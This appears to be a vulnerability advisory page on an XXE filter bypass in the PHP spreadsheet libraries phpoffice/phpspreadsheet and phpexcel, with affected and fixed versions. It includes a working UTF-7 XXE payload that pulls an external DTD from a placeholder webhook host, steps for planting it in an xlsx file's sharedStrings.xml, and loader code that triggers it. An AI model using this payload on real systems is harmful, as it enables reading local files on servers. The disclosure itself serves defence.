| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| phpoffice/phpexcel | ≤ 1.8.2 | |
| phpoffice/phpspreadsheet | ≥ 2.0.0, < 2.1.1≥ 2.2.0, < 2.2.1< 1.29.1 | 2.1.12.2.11.29.1 |
| phpspreadsheet | ≥ 2.0.0, < 2.2.1< 1.29.1 | 2.2.11.29.1 |
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>
If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
xl/sharedStrings.xml file in edit mode.<?xml version="1.0" encoding="UTF-8" standalone="yes"?> to<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
sharedStrings.xml file and rename zip back to xlsx.use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
http://%webhook%/file.dtdRead local files
これらの製品をお使いですか?サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャン